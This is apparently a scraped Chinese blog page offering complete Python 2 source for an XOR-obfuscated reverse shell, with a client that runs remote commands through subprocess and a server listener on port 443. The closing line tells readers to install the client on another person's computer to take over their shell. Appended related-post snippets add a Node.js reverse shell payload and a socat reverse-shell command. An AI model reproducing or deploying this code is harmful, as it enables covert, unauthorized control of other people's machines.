反向shell(python)

反向shell(python)

client:

import
socket, subprocess, sys

RHOST = sys.argv[1]

RPORT =
443

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((RHOST, RPORT))

while
True:

data = s.recv(1024)

en_data = bytearray(data)

for i
in range(len(en_data)):

en_data[i] ^=
0x41

comm = subprocess.Popen(str(en_data), shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)

comm.wait()

STDOUT, STDERR = comm.communicate()

print STDERR

en_STDOUT= bytearray(STDOUT)

for i
in range(len(en_STDOUT)):

en_STDOUT[i] ^=
0x41

s.send(en_STDOUT)

s.close()

server:

import
socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(("0.0.0.0",
443))

s.listen(2048)

print
"Listening on port 443... "

(client, (ip, port)) = s.accept()

print
" recived connection from : ", ip

while
True:

command = raw_input(‘~$ ‘)

encode = bytearray(command)

for i
in range(len(encode)):

encode[i] ^=
0x41

client.send(encode)

en_data = client.recv(2048)

decode = bytearray(en_data)

for i
in range(len(decode)):

decode[i] ^=
0x41

print decode

client.close()

s.close()

在别人的电脑装上client部分,自己电脑运行server部分,就可以反向别人的shell了

时间: 2024-11-08 20:53:42

反向shell(python)的相关文章

JavaScript反向shell

Node.js反向Shell 摘自:http://www.itfang.net/?p=109 如下的Javascript就是一个Node.js的反向连接shell. 这个payload将会生成一个/bin/sh的shell,创建一个TCP连接到攻击者的服务器,并且在通信数据流中绑定shell命令. (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn(&

使用 netcat 实现反向 shell 访问以便于远程调试设备

问题 在实际开发项目中,原型产品在推向市场.实际部署使用之前,也需要在实际环境进行试验性运行,以便测试和改进. 但可能出现的一个问题是,部署测试的实际环境与办公室有一定的距离,甚至在不同的城市里.当应用服务程序异常后者挂掉的时候,就没有办法探查设备的实际情况了. 要是在办公室里,就可以基于局域网 ssh 登录访问,甚至基于调试串口登录.由于设备在远程,是无法通过 ssh 直接登录了. 基本概念 我们上面说的"登录",其实都是是指通过 Linux 的 shell 登录系统.那下面准备介绍

反向Shell增强

下载socat 在客户端: socat file:`tty`,raw,echo=0 tcp-listen:4444 在服务端: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 如此即可创建功能完全的反向shell 原文地址:https://www.cnblogs.com/JiangOil/p/10513914.html

使用shell/python获取hostname/fqdn释疑(转)

一直以来被Linux的hostname和fqdn(Fully Qualified Domain Name)困惑了好久,今天专门抽时间把它们的使用细节弄清了. 一.设置hostname/fqdn 在Linux系统内设置hostname很简单,如: $ hostname florian 如果要设置fqdn的话,需要对/etc/hosts进行配置. $ cat /etc/hosts 127.0.0.1 localhost 192.168.1.1 florian.test.com florian /et

Shell/Python实现Mysql读txt文本

文本:ttt.txt 共7774865条记录 显示部分文本内容如下: "OBJECT_ID","OBJECT_NAME","CREATED" "20","ICOL$","2013/10/9 18:23:42" "46","I_USER1","2013/10/9 18:23:42" "28","CON

SHELL/Python实现九九乘法表

shell:a99.sh #!/bin/bash for ((i=1;i<10;i++));do     for((j=1;j<=$i;j++));do        let num=$i*$j        echo "$i * $j ="$num     done     echo done Python:a99.py #!/usr/bin/python import sys for i in range(1,10):     for j in range(1,i+1)

2017-4-21 Shell+Python对抓包文件后的文本处理过程

这几天毕设的事情,需要把Modbus数据包变成十六进制形式,但是wireshark不是非常给力,也可能是我还没找到窍门吧.这几天的文本处理把我整的够惨,有些问题以前从来没想过,遇到了真是让人觉得书到用时方恨少呀.做下笔记,以后用的着. 一.目录结构解析 [ [email protected] #] ls /tmp 1.txt 10_BCD.sh 7.sh   get_final.py   README (1)[ [email protected] #] cat 1.txt  ##其中1.txt是

脚本安装Discuz论坛(shell + Python 实现自动化安装)

实验环境 1.shell 脚本:linux centos 7 系统2.Python shell 脚本:window 系统 3.其他:python selenium 模块,谷歌浏览器, 谷歌浏览器驱动.4.discuz 链接:https://pan.baidu.com/s/1vOwN_f56wJlIzauGrFoR1Q 提取码:mijf 实验步骤 1.上传discuz包到Linux系统/opt目录下 方法一:挂载 方法二:通过Xftp软件上传 2.编写脚本package.sh (可查看上一篇博客,

使用 shell / python 进行sql的excel报表导出

如果要求你进行一个表数据的导出,如果使用shell的话,很容易做到,即执行一下 select 语句就可以拿到返回结果了! 如下: /usr/bin/mysql -u"${username}" -p"${password}" --host=${host} -D"${database}" < ${sql_script_path} > ${export_data_full_path1}; 如上执行完成之后,数据就被导出到 export_da